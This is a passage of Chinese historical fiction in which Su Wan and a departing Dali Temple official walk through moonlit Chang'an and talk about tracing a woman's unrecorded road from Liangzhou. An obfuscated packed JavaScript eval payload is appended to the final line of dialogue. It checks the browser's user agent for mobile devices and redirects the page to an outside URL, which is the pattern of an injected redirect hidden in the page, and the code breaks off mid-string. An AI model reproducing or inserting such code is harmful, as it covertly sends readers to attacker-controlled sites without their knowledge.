苏皖把左手放上去。他的手比她的手大一圈,把她的手指完全包住。她没有挣脱,只是把无名指的旧疤贴在他虎口的线上。疤和线在月光下贴在一起,同一条路的两端接上了。
“以后的路,是什么路。”她问。
“不知道。但沈时走到失散的地方停下来,等了很久。他等的是苏氏女。现在金粉全部走到主根了,苏氏女的手指上长出了完整的路。他不用再等了。以后的路不是替他走的,是我们自己走的。”
他牵着她往南走,沿着朱雀大街,走在月光铺成的银灰色路面上。赤脚踩在夯土上,他的鞋在她脚上,很大,每走一步鞋底和脚心之间都有一小层空气在轻轻挤压。走到明德门时他停下来。“明天我要调离大理寺了。回凉州,凉州都督府的旧档里还有一些没有查完的文书。不是沈时的,是苏氏女的。”
“苏氏女的。”
“苏氏女从凉州走到长安,募兵册上写的是苏平,特长栏被沈录事划掉了。但她入金吾卫之前的路上,从凉州到长安一千多里,走过哪些地方,遇到哪些人,全都没有记录。我想去找那些路。”
苏皖低头看着自己脚上那双太大的鞋。他从凉州来,现在要回凉州去。她无名指的旧疤里长着从凉州到长安完整的路,但他要往回走,走回凉州,走回她走过的那些地方。
“找到了之后呢。”
“告诉你。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'us